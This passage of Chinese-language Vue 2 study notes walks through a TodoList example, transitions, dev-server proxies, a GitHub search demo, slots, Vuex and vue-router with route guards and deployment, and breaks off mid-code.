this.$nextTick(回调函数)
- 作用:在下一次 DOM 更新结束后执行其指定的回调。
- 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。
14. TodoList
npm i nanoid
uuid
nanoid
①TodoList案例
App.vue
<template>
<div id="root">
<div class="todo-container">
<div class="todo-wrap">
<MyHeader @addTodo="addTodo"></MyHeader>
<MyList :todos="todos"></MyList>
<!-- <MyList :todos="todos" :checkTodo="checkTodo" :delTodo="delTodo"></MyList> -->
<MyFooter :todos="todos" @checkAllTodo="checkAllTodo" @clearAllTodo="clearAllTodo"></MyFooter>
</div>
</div>
</div>
</template>
<script>
import pubsub from 'pubsub-js'
// 引入组件
import MyHeader from "./components/MyHeader";
import MyList from "./components/MyList";
import MyFooter from "./components/MyFooter";
export default {
name: "App",
// 注册组件
components: {
MyHeader,
MyList,
MyFooter
},
data() {
// 由于 todos 是MyHeader 和MyFooter 组件都在使用,所以放在App中
return {
todos: JSON.parse(localStorage.getItem("todos")) || []
// todos: [
// { id: "001", title: "抽烟", done: true },
// { id: "002", title: "喝酒", done: false },
// { id: "003", title: "开车", done: true }
// ]
// msg:'欢迎学习Vue!',
};
},
methods: {
// 添加一个todo
addTodo(todoObj) {
if(todoObj.title === this.todos.title){
alert('名字不能相同');
}else{
// console.log("我是App组件,我收到了数据:",todoObj);
this.todos.unshift(todoObj);
}
},
// 勾选或 取消勾选一个 todo
checkTodo(id) {
this.todos.forEach(todo => {
if (todo.id === id) {
todo.done = !todo.done;
}
});
},
// 更新一个todo
updateTodo(id,title) {
this.todos.forEach(todo => {
if (todo.id === id) {
todo.title = title;
}
});
},
// 删除一个todo
delTodo(_,id) {
this.todos = this.todos.filter(todo => {
return todo.id !== id;
});
},
// 全选或取消全选
checkAllTodo(done) {
this.todos.forEach(todo => {
todo.done = done;
});
},
// 清除所有已经完成的todo
clearAllTodo() {
this.todos = this.todos.filter(todo => {
return !todo.done;
});
}
// showDom(){
// console.log(this.$refs.title); // 真实DOM元素
// console.log(this.$refs.btn); // 真实DOM元素
// console.log(this.$refs.sch); // School组件的实例对象(vc)
// }
},
watch: {
todos: {
deep: true,
handler(val) {
localStorage.setItem("todos", JSON.stringify(val));
}
}
},
mounted(){
this.$bus.$on('checkTodo',this.checkTodo);
this.$bus.$on('updateTodo',this.updateTodo);
// this.$bus.$on('delTodo',this.delTodo);
// 订阅消息
this.pubId = pubsub.subscribe('delTodo',this.delTodo);
},
beforeDestroy(){
this.$bus.$off('checkTodo');
this.$bus.$off('updateTodo');
// this.$bus.$off('delTodo');
// 取消订阅
pubsub.unsubscribe(this.pubId);
}
};
</script>
MyHeader.vue
<template>
<div class="todo-header">
<input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model="title" @keyup.enter="add" />
</div>
</template>
<script>
import { nanoid } from "nanoid";
export default {
name: "MyHeader",
// props: ["addTodo"],
data() {
return {
title: ""
};
},
methods: {
add() {
// 校验数据
if (!this.title.trim()) return alert("输入不能为空");
// 将用户的输入包装成一个 todo 对象
const todoObj = { id: nanoid(), title: this.title, done: false };
// 通知 App组件去添加一个 todo对象
// this.addTodo(todoObj);
this.$emit("addTodo", todoObj);
// 清空输入
this.title = "";
// console.log(e.target.value);
// console.log(todoObj);
}
}
};
</script>
MyList.vue
<template>
<ul class="todo-main">
<MyItem
v-for="todoObj in todos"
:key="todoObj.id"
:todo="todoObj">
</MyItem>
</ul>
</template>
<script>
import MyItem from "./MyItem";
export default {
name: "MyList",
components: {
MyItem
},
data() {
return {};
},
props: ["todos"]
// props: ["todos", "checkTodo","delTodo"]
};
</script>
MyItem.vue
<template>
<transition name="todo" appear>
<li>
<label>
<input type="checkbox" :checked="todo.done" @change="changeCheck(todo.id)" />
<!-- 如下代码也能实现功能,但是不太推荐,因为有点违反原则,因为修改了 props -->
<!-- <input type="checkbox" v-model="todo.done" /> -->
<span v-show="!todo.isEdit">{{todo.title}}</span>
<input
v-show="todo.isEdit"
type="text"
:value="todo.title"
@blur="handleBlur(todo,$event)"
ref="inputTitle"
/>
</label>
<button class="btn btn-danger" @click="del(todo.id)">删除</button>
<button class="btn btn-default" v-show="!todo.isEdit" @click="handleEdit(todo)">编辑</button>
</li>
</transition>
</template>
<script>
import pubsub from "pubsub-js";
export default {
name: "MyItem",
// 声明接收todo对象
props: ["todo"],
// props: ["todo", "checkTodo","delTodo"],
methods: {
// 勾选或取消勾选
changeCheck(id) {
this.$bus.$emit("checkTodo", id);
// 通知App组件将对应的todo对象的done值取反
// this.checkTodo(id);
// console.log(id);
},
// 删除
del(id) {
if (confirm("确定删除吗?")) {
// 发布消息
pubsub.publish("delTodo", id);
// this.$bus.$emit('delTodo',id);
// 通知App组件将对应的todo对象的id值删除
// this.delTodo(id);
// console.log(id);
}
},
// 编辑
handleEdit(todo) {
// 把文字变为输入框
if (todo.hasOwnProperty("isEdit")) {
todo.isEdit = true;
} else {
// 给 todo 的身上加一个属性isEdirt,值为true
console.log("-----");
this.$set(todo, "isEdit", true);
}
this.$nextTick(function() {
this.$refs.inputTitle.focus();
});
},
// 失去焦点回调(真正执行修改逻辑)
handleBlur(todo, e) {
todo.isEdit = false;
if (!e.target.value.trim()) return alert("输入不能为空!");
this.$bus.$emit("updateTodo", todo.id, e.target.value);
}
}
};
</script>
MyFooter.vue
<template>
<div class="todo-footer" v-show="total">
<label>
<!-- <input type="checkbox" :checked="isAll" @change="checkAll"/> -->
<input type="checkbox" v-model="isAll" />
</label>
<span>
<span>已完成{{doneTotal}}</span>
/ 全部{{total}}
</span>
<button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
</div>
</template>
<script>
export default {
name: "MyFooter",
// props: ["todos", "checkAllTodo","clearAllTodo"],
props: ["todos"],
computed: {
total() {
return this.todos.length;
},
doneTotal() {
return this.todos.reduce((pre, todo) => {
return pre + (todo.done ? 1 : 0);
}, 0);
// const x = this.todos.reduce((pre, cur) => {
// console.log("@", pre, cur);
// return pre + (cur.done ? 1 : 0);
// }, 0);
// console.log(x);
// let i = 0;
// this.todos.forEach(todo => {
// if(todo.done) i++;
// });
// return i;
},
isAll: {
get() {
return this.doneTotal === this.total && this.total > 0;
},
set(val) {
// this.checkAllTodo(val);
this.$emit('checkAllTodo',val);
}
}
},
methods: {
// checkAll(e) {
// // console.log(e.target.checked);
// this.checkAllTodo(e.target.checked);
// }
clearAll() {
if (confirm("是否清除已完成的任务")) {
// this.clearAllTodo();
this.$emit('clearAllTodo');
}
}
}
};
</script>
②TodoList案例总结
-
组件化编码流程:
(1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。
(2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:
1).一个组件在用:放在组件自身即可。
2). 一些组件在用:放在他们共同的父组件上(状态提升)。
(3).实现交互:从绑定事件开始。
-
props适用于:
(1).父组件 ==> 子组件 通信(使用标签属性)
(2).子组件 ==> 父组件 通信(要求父先给子一个函数)
-
使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!
-
props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。
15. Vue封装的过度与动画
npm i animate
①动画
Test.vue
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<transition appear>
<h2 v-show="isShow">你好啊!</h2>
</transition>
</div>
</template>
<script>
export default {
name: "Test",
data() {
return {
isShow: true
};
}
};
</script>
<style>
h2 {
background-color: orange;
}
.v-enter-active {
animation: atguigu 1s linear;
}
.v-leave-active {
animation: atguigu 1s reverse;
}
@keyframes atguigu{
from{
transform: translateX(-100%);
}
to{
transform: translateX(0px);
}
}
</style>
②过度
Test2.vue
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<transition-group name="hello" appear>
<h2 v-show="isShow" key="1">你好啊!</h2>
<h2 v-show="!isShow" key="2">尚硅谷</h2>
</transition-group>
</div>
</template>
<script>
export default {
name: "Test2",
data() {
return {
isShow: true
};
}
};
</script>
<style>
h2 {
background-color: orange;
/* transition: 2s linear; */
}
/* 进入的起点、离开的终点 */
.hello-enter,.hello-leave-to{
transform: translateX(-100%);
}
/* 进入的终点、离开的起点 */
.hello-enter-to,.hello-leave{
transform: translateX(0);
}
.hello-enter-active,.hello-leave-active{
transition: 2s linear;
}
</style>
③多个元素过度
npm i animate
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<transition-group appear
name="animate__animated animate__bounce"
enter-active-class="animate__swing"
leave-active-class="animate__backOutUp"
>
<h2 v-show="isShow" key="1">你好啊!</h2>
<h2 v-show="!isShow" key="2">尚硅谷</h2>
</transition-group>
</div>
</template>
<script>
import 'animate.css'
export default {
name: "Test3",
data() {
return {
isShow: true
};
}
};
</script>
<style>
h2 {
background-color: orange;
}
</style>
④总结
-
作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名。
-
图示:
-
写法:
-
准备好样式:
- 元素进入的样式:
- v-enter:进入的起点
- v-enter-active:进入过程中
- v-enter-to:进入的终点
- 元素离开的样式:
- v-leave:离开的起点
- v-leave-active:离开过程中
- v-leave-to:离开的终点
- 元素进入的样式:
-
使用
<transition>
包裹要过度的元素,并配置name属性:<transition name="hello"> <h1 v-show="isShow">你好啊!</h1> </transition>
-
备注:若有多个元素需要过度,则需要使用:
<transition-group>
,且每个元素都要指定key
值。
-
16. vue脚手架配置代理(2)
npm i axios
①案例
App.vue
<template>
<div>
<button @click="getStudents">获取学生信息</button>
<br><br>
<button @click="getCars">获取汽车信息</button>
</div>
</template>
<script>
import axios from 'axios'
export default {
name: "App",
// 注册组件
components: {
},
data() {
return {
};
},
methods: {
getStudents(){
axios.get('http://localhost:8080/api1/students').then(
response => {
console.log('请求成功了',response.data);
},
error => {
console.log('请求失败了',error.message);
}
)
},
getCars(){
axios.get('http://localhost:8080/api2/cars').then(
response => {
console.log('请求成功了',response.data);
},
error => {
console.log('请求失败了',error.message);
}
)
}
},
};
</script>
②方法一
在vue.config.js中添加如下配置:
devServer:{
proxy:"http://localhost:5000"
}
说明:
- 优点:配置简单,请求资源时直接发给前端(8080)即可。
- 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
- 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)
③方法二
vue.config.js
配置具体代理规则:
module.exports = {
devServer: {
proxy: {
'/api1': {// 匹配所有以 '/api1'开头的请求路径
target: 'http://localhost:5000',// 代理目标的基础路径
changeOrigin: true,
pathRewrite: {'^/api1': ''}
},
'/api2': {// 匹配所有以 '/api2'开头的请求路径
target: 'http://localhost:5001',// 代理目标的基础路径
changeOrigin: true,
pathRewrite: {'^/api2': ''}
}
}
}
}
/*
changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
changeOrigin默认值为true
*/
说明:
- 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
- 缺点:配置略微繁琐,请求资源时必须加前缀。
17. github搜索案例
①App.vue
<template>
<div class="container">
<Search></Search>
<List></List>
</div>
</template>
<script>
import Search from "./components/Search";
import List from "./components/List";
export default {
name: "App",
// 注册组件
components: {
Search,
List
},
};
</script>
②Search.vue
<template>
<section class="jumbotron">
<h3 class="jumbotron-heading">Search Github Users</h3>
<div>
<input type="text" placeholder="enter the name you search" v-model="keyWords"/>
<button @click="searchUsers">Search</button>
</div>
</section>
</template>
<script>
import axios from 'axios'
export default {
name:'Search',
data(){
return {
keyWords:'',
}
},
methods:{
searchUsers(){
// 请求前更新List的数据
this.$bus.$emit('updateUsers',{isFirst:false,isLoading:true,errMsg:'',users:[]});
axios.get(`https://api.github.com/search/users?q=${this.keyWords}`).then(
response=>{
console.log('请求成功了');
// 请求成功后更新List的数据
// 发送数据,有数据
this.$bus.$emit('updateUsers',{isLoading:false,errMsg:'',users:response.data.items});
},
error=>{
console.log('请求失败了',error.message);
// 请求失败后更新List的数据
this.$bus.$emit('updateUsers',{errMsg:error.message,users:[]})
}
)
}
}
}
</script>
<style>
</style>
③List.vue
<template>
<div class="row">
<!-- 展示用户列表 -->
<div v-show="info.users.length" class="card" v-for="user in info.users" :key="user.login">
<a :href="user.html_url" target="_blank">
<img :src="user.avatar_url" style="width: 100px" />
</a>
<p class="card-text">{{user.login}}</p>
</div>
<!-- 展示欢迎词 -->
<h1 v-show="info.isFirst">欢迎使用!</h1>
<!-- 展示加载中 -->
<h1 v-show="info.isLoading">加载中......</h1>
<!-- 展示错误信息 -->
<h1 v-show="info.errMsg">{{info.errMsg}}</h1>
</div>
</template>
<script>
export default {
name:'List',
data(){
return {
info:{
users:[],
isFirst:true,
isLoading:false,
errMsg:''
}
}
},
// 需要Search数据
mounted(){
this.$bus.$on('updateUsers',(dataObj)=>{
console.log('我是List组件,收到数据:',dataObj);
this.info = {...this.info,...dataObj};
console.log(this);
})
}
}
</script>
18. 发送异步请求
①xhr
②jQuery
③axios
axios.get('')
④fetch
⑤vue-resource(插件库)
this.$http.get('')
19. 插槽
①默认插槽
②具名插槽
App.vue
<template>
<div class="flex">
<Category title="美食">
<img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt />
<a slot="footer" href="http://www.atguigu.com">更多美食</a>
</Category>
<Category title="游戏">
<ul slot="center">
<li v-for="(item, index) in games" :key="index">{{item}}</li>
</ul>
<div class="foot" slot="footer">
<a href="http://www.atguigu.com">单击游戏</a>
<a href="http://www.atguigu.com">网络游戏</a>
</div>
</Category>
<Category title="电影">
<video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
<template v-slot:footer>
<div class="foot">
<a href="http://www.atguigu.com">经典</a>
<a href="http://www.atguigu.com">热门</a>
<a href="http://www.atguigu.com">推荐</a>
</div>
<h4>欢迎前来观看电影!</h4>
</template>
</Category>
</div>
</template>
<script>
import Category from "./components/Category1";
export default {
name: "App",
// 注册组件
components: {
Category
},
data() {
return {
foods: ["火锅", "烧烤", "小龙虾", "牛排"],
games: ["红色警戒", "穿越火线", "劲舞团", "超级玛丽"],
films: ["《教父》", "《拆弹专家》", "《你好,李焕英》", "《神厨小福贵》"]
};
},
};
</script>
Category.vue
<template>
<div class="category">
<h3>{{title}}分类</h3>
<!-- 默认插槽 -->
<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
<slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
<slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
</div>
</template>
<script>
export default {
name:'Category',
props:['title',]
}
</script>
③作用域插槽
App.vue
<template>
<div class="flex">
<Category1 title="游戏">
<template scope="atguigu">
<ul>
<li v-for="(item, index) in atguigu.games" :key="index">{{item}}</li>
</ul>
</template>
</Category1>
<!-- 数据在定义插槽的组件中,结构在使用插槽的组件中 -->
<Category1 title="游戏">
<!-- 解构赋值 -->
<!-- slot-scope="{games}" 和 scope="{games}" 效果相同,新旧语法的差别-->
<template slot-scope="{games}">
<ol style="color:red;">
<li v-for="(item, index) in games" :key="index">{{item}}</li>
</ol>
</template>
</Category1>
<Category1 title="游戏">
<!-- 解构赋值 -->
<template scope="{games}">
<h4 v-for="(item, index) in games" :key="index">{{item}}</h4>
</template>
</Category1>
</div>
</template>
<script>
import Category1 from "./components/Category1";
export default {
name: "App",
// 注册组件
components: {
Category1
},
};
</script>
Category.vue
<template>
<div class="category">
<h3>{{title}}分类</h3>
<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
<slot :games="games">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
</div>
</template>
<script>
export default {
name:'Category1',
props:['title'],
data() {
return {
games: ["红色警戒", "穿越火线", "劲舞团", "超级玛丽"],
}
},
}
</script>
④插槽总结
-
作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件 。
-
分类:默认插槽、具名插槽、作用域插槽
-
使用方式:
-
默认插槽:
父组件中: <Category> <div>html结构1</div> </Category> 子组件中: <template> <div> <!-- 定义插槽 --> <slot>插槽默认内容...</slot> </div> </template>
-
具名插槽:
父组件中: <Category> <template slot="center"> <div>html结构1</div> </template> <template v-slot:footer> <div>html结构2</div> </template> </Category> 子组件中: <template> <div> <!-- 定义插槽 --> <slot name="center">插槽默认内容...</slot> <slot name="footer">插槽默认内容...</slot> </div> </template>
-
作用域插槽:
-
理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)
-
具体编码:
父组件中: <Category> <template scope="scopeData"> <!-- 生成的是ul列表 --> <ul> <li v-for="g in scopeData.games" :key="g">{{g}}</li> </ul> </template> </Category> <Category> <template slot-scope="scopeData"> <!-- 生成的是h4标题 --> <h4 v-for="g in scopeData.games" :key="g">{{g}}</h4> </template> </Category> 子组件中: <template> <div> <slot :games="games"></slot> </div> </template> <script> export default { name:'Category', props:['title'], //数据在子组件自身 data() { return { games:['红色警戒','穿越火线','劲舞团','超级玛丽'] } }, } </script>
-
-
三、Vuex
0.求和案例
App.vue
<template>
<div>
<Count></Count>
</div>
</template>
<script>
import Count from './components/Count'
export default {
name: "App",
// 注册组件
components: {
Count
},
data() {
return {
};
},
methods: {}
};
</script>
Count.vue
<template>
<div>
<h1>当前求和为:{{sum}}</h1>
<select v-model.number="n">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
</select>
<button @click="increase">+</button>
<button @click="decrease">-</button>
<button @click="odd">当前求和为奇数再加</button>
<button @click="wait">等一等再加</button>
</div>
</template>
<script>
export default {
name:'Count',
data() {
return {
sum:0, // 当前和
n:1, // 用户选择的数字
}
},
methods:{
increase(){
this.sum += this.n;
},
decrease(){
this.sum -= this.n;
},
odd(){
if(this.sum % 2){
this.sum += this.n;
}
},
wait(){
setTimeout(()=>{
this.sum += this.n;
},1000)
}
}
}
</script>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cw0bGQS8-1638510009301)(D:\web前端\图片\vuex.png)]
1.概念
在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。
2.何时使用
多个组件需要共享数据时
3.搭建vuex环境
-
创建文件:
src/store/index.js
//引入Vue核心库 import Vue from 'vue' //引入Vuex import Vuex from 'vuex' //应用Vuex插件 Vue.use(Vuex) //准备actions对象——响应组件中用户的动作 const actions = {} //准备mutations对象——修改state中的数据 const mutations = {} //准备state对象——保存具体的数据 const state = {} //创建并暴露store export default new Vuex.Store({ actions, mutations, state })
-
在
main.js
中创建vm时传入store
配置项...... //引入store import store from './store' ...... //创建vm new Vue({ el:'#app', render: h => h(App), store })
4.基本使用
-
初始化数据、配置
actions
、配置mutations
,操作文件store.js
//引入Vue核心库 import Vue from 'vue' //引入Vuex import Vuex from 'vuex' //引用Vuex Vue.use(Vuex) const actions = { //响应组件中加的动作 jia(context,value){ // console.log('actions中的jia被调用了',miniStore,value) context.commit('JIA',value) }, } const mutations = { //执行加 JIA(state,value){ // console.log('mutations中的JIA被调用了',state,value) state.sum += value } } //初始化数据 const state = { sum:0 } //创建并暴露store export default new Vuex.Store({ actions, mutations, state, })
-
组件中读取vuex中的数据:
$store.state.sum
-
组件中修改vuex中的数据:
$store.dispatch('action中的方法名',数据)
或$store.commit('mutations中的方法名',数据)
备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写
dispatch
,直接编写commit
5.getters的使用
-
概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。
-
在
store.js
中追加getters
配置...... const getters = { bigSum(state){ return state.sum * 10 } } //创建并暴露store export default new Vuex.Store({ ...... getters })
-
组件中读取数据:
$store.getters.bigSum
6.四个map方法的使用
备注:mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。
①mapState方法
用于帮助我们映射state
中的数据为计算属性
computed: {
//借助mapState生成计算属性:sum、school、subject(对象写法)
...mapState({sum:'sum',school:'school',subject:'subject'}),
//借助mapState生成计算属性:sum、school、subject(数组写法)
...mapState(['sum','school','subject']),
},
②mapGetters方法
用于帮助我们映射getters
中的数据为计算属性
computed: {
//借助mapGetters生成计算属性:bigSum(对象写法)
...mapGetters({bigSum:'bigSum'}),
//借助mapGetters生成计算属性:bigSum(数组写法)
...mapGetters(['bigSum'])
},
③mapActions方法
用于帮助我们生成与actions
对话的方法,即:包含$store.dispatch(xxx)
的函数
methods:{
//靠mapActions生成:incrementOdd、incrementWait(对象形式)
...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
//靠mapActions生成:incrementOdd、incrementWait(数组形式)
...mapActions(['jiaOdd','jiaWait'])
}
④mapMutations方法
用于帮助我们生成与mutations
对话的方法,即:包含$store.commit(xxx)
的函数
methods:{
//靠mapActions生成:increment、decrement(对象形式)
...mapMutations({increment:'JIA',decrement:'JIAN'}),
//靠mapMutations生成:JIA、JIAN(对象形式)
...mapMutations(['JIA','JIAN']),
}
7.模块化+命名空间
-
目的:让代码更好维护,让多种数据分类更加明确。
-
修改
store.js
const countAbout = { namespaced:true,//开启命名空间 state:{x:1}, mutations: { ... }, actions: { ... }, getters: { bigSum(state){ return state.sum * 10 } } } const personAbout = { namespaced:true,//开启命名空间 state:{ ... }, mutations: { ... }, actions: { ... } } const store = new Vuex.Store({ modules: { countAbout, personAbout } })
-
开启命名空间后,组件中读取state数据:
//方式一:自己直接读取 this.$store.state.personAbout.list //方式二:借助mapState读取: ...mapState('countAbout',['sum','school','subject']),
-
开启命名空间后,组件中读取getters数据:
//方式一:自己直接读取 this.$store.getters['personAbout/firstPersonName'] //方式二:借助mapGetters读取: ...mapGetters('countAbout',['bigSum'])
-
开启命名空间后,组件中调用dispatch
//方式一:自己直接dispatch this.$store.dispatch('personAbout/addPersonWang',person) //方式二:借助mapActions: ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
-
开启命名空间后,组件中调用commit
//方式一:自己直接commit this.$store.commit('personAbout/ADD_PERSON',person) //方式二:借助mapMutations: ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
四、路由
- 理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
- 前端路由:key是路径,value是组件。
- 用来实现
SPA应用
(单页面应用,只是局部更新),vue的一个插件库
1.基本使用
-
安装vue-router,命令:
npm i vue-router
-
应用插件:
Vue.use(VueRouter)
-
编写router配置项:
//引入VueRouter import VueRouter from 'vue-router' //引入Luyou 组件 import About from '../components/About' import Home from '../components/Home' //创建router实例对象,去管理一组一组的路由规则 const router = new VueRouter({ routes:[ { path:'/about', component:About }, { path:'/home', component:Home } ] }) //暴露router export default router
-
实现切换(active-class可配置高亮样式)
<router-link active-class="active" to="/about">About</router-link>
-
指定展示位置
<router-view></router-view>
2.几个注意点
- 路由组件通常存放在
views
文件夹,一般组件通常存放在components
文件夹。 - 通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
- 每个组件都有自己的
$route
属性,里面存储着自己的路由信息。 - 整个应用只有一个router,可以通过组件的
$router
属性获取到。
3.多级路由
-
配置路由规则,使用children配置项:
routes:[ { path:'/about', component:About, }, { path:'/home', component:Home, children:[ //通过children配置子级路由 { path:'news', //此处一定不要写:/news component:News }, { path:'message',//此处一定不要写:/message component:Message } ] } ]
-
跳转(要写完整路径):
<router-link to="/home/news">News</router-link>
4.路由的query参数
-
传递参数
<!-- 跳转并携带query参数,to的字符串写法 --> <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link> <!-- 跳转并携带query参数,to的对象写法 --> <router-link :to="{ path:'/home/message/detail', query:{ id:666, title:'你好' } }" >跳转</router-link>
-
接收参数:
$route.query.id $route.query.title
5.命名路由
-
作用:可以简化路由的跳转。
-
如何使用
-
给路由命名:
{ path:'/demo', component:Demo, children:[ { path:'test', component:Test, children:[ { name:'hello' //给路由命名 path:'welcome', component:Hello, } ] } ] }
-
简化跳转:
<!--简化前,需要写完整的路径 --> <router-link to="/demo/test/welcome">跳转</router-link> <!--简化后,直接通过名字跳转 --> <router-link :to="{name:'hello'}">跳转</router-link> <!--简化写法配合传递参数 --> <router-link :to="{ name:'hello', query:{ id:666, title:'你好' } }" >跳转</router-link>
-
6.路由的params参数
-
配置路由,声明接收params参数
{ path:'/home', component:Home, children:[ { path:'news', component:News }, { component:Message, children:[ { name:'xiangqing', path:'detail/:id/:title', //使用占位符声明接收params参数 component:Detail } ] } ] }
-
传递参数
<!-- 跳转并携带params参数,to的字符串写法 --> <router-link :to="/home/message/detail/666/你好">跳转</router-link> <!-- 跳转并携带params参数,to的对象写法 --> <router-link :to="{ name:'xiangqing', params:{ id:666, title:'你好' } }" >跳转</router-link>
特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!
-
接收参数:
$route.params.id $route.params.title
7.路由的props配置
作用:让路由组件更方便的收到参数
{
name:'xiangqing',
path:'detail/:id',
component:Detail,
//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
// props:{a:900}
//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
// props:true
//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
props(route){
return {
id:route.query.id,
title:route.query.title
}
}
}
8.<router-link>
的replace属性
- 作用:控制路由跳转时操作浏览器历史记录的模式
- 浏览器的历史记录有两种写入方式:分别为
push
和replace
,push
是追加历史记录,replace
是替换当前记录。路由跳转时候默认为push
- 如何开启
replace
模式:<router-link replace .......>News</router-link>
9.编程式路由导航
-
作用:不借助
<router-link>
实现路由跳转,让路由跳转更加灵活 -
具体编码:
//$router的两个API this.$router.push({ name:'xiangqing', params:{ id:xxx, title:xxx } }) this.$router.replace({ name:'xiangqing', params:{ id:xxx, title:xxx } }) this.$router.forward() //前进 this.$router.back() //后退 this.$router.go() //可前进也可后退
10.缓存路由组件
-
作用:让不展示的路由组件保持挂载,不被销毁。
-
具体编码:
<keep-alive include="News"> <router-view></router-view> </keep-alive>
11.两个新的生命周期钩子
①activated
②deactivated
- 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
- 具体名字:
activated
路由组件被激活时触发。deactivated
路由组件失活时触发。
*12.路由守卫(权限)
-
作用:对路由进行权限控制
-
分类:全局(前置、后置)路由守卫、独享路由守卫、组件内守卫
①全局守卫(2种)
//全局前置守卫:初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
console.log('beforeEach',to,from)
if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
next() //放行
}else{
alert('暂无权限查看')
// next({name:'guanyu'})
}
}else{
next() //放行
}
})
//全局后置守卫:初始化时执行、每次路由切换后执行
router.afterEach((to,from)=>{
console.log('afterEach',to,from)
if(to.meta.title){
document.title = to.meta.title //修改网页的title
}else{
document.title = 'vue_test'
}
})
②独享守卫
(可以与全局后置路由守卫相结合使用):改变标题与鉴权两不误;
beforeEnter(to,from,next){
console.log('beforeEnter',to,from)
if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
if(localStorage.getItem('school') === 'atguigu'){
next()
}else{
alert('暂无权限查看')
// next({name:'guanyu'})
}
}else{
next()
}
}
③组件内守卫
路由规则:通过路径进入,通过引入组件的方式进入不被调用
//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {
},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {
}
13.路由器的两种工作模式
- 对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值。
- hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器。
- hash模式:
- 地址中永远带着#号,不美观 。
- 若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。
- 兼容性较好。
- history模式:
- 地址干净,美观 。
- 兼容性和hash模式相比略差。
- 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。
14.项目上线
①打包(dist)
npm run build
②搭建服务器(serve.js)
const express = require('express');
const history = require('connect-history-api-fallback');
const app = express();
app.use(history());
app.use(express.static(__dirname+'/static'));
app.get('/person',(req,res)=>{
res.send({
name: 'tom',
age: 18
})
})
app.listen(5005,(err)=>{
if(!err){
console.log('服务器启动成功了!');
}
})
③history的404问题
npi i connect-history-api-fallback
15. 路由案例
①router>index.js
// 该文件专门用于创建整个应用的路由器
import Vue from 'vue'
import VueRouter from 'vue-router'
import Home from '../views/Home.vue'
import News from '../views/News.vue'
import Message from '../views/Message.vue'
import Detail from '../views/Detail.vue'
Vue.use(VueRouter)
const routes = [{
name: 'Home',
path: '/home',
component: Home,
meta: {title: '主页'},
children: [{
name: 'News',
path: 'news',
component: News,
// 路由元信息,即自定义信息
meta: {isAuth: true, title: '新闻'},
// beforeEnter: (to, from, next) => {
// console.log('独享路由守卫',to,from);
// // 独享路由守卫
// if(to.meta.isAuth){ // 判断是否鉴权
// if(localStorage.getItem('school') === 'atguigu'){
// next();
// }else{
// alert('学校名不符合要求,无权限查看');
// }
// }else{
// next();
// }
// }
},
{
name: 'Message',
path: 'message',
component: Message,
meta: {isAuth:true, title: '消息'},
children: [{
name: 'Detail',
path: 'detail',
component: Detail,
meta: {title: '详情'},
// props 第3种写法:值为函数
props($route){
return {
id: $route.query.id,
title: $route.query.title,
}
}
}]
}
]
},
{
name: 'About',
path: '/about',
component: () => import('../views/About.vue'),
meta: {/*isAuth: true,*/ title: '关于'}
}
]
const router = new VueRouter({
mode: 'hash',
routes
})
// 全局前置路由守卫--初始化的时候被调用、每次路由切换之前被调用
router.beforeEach((to,from,next)=>{
console.log('前置路由守卫',to,from);
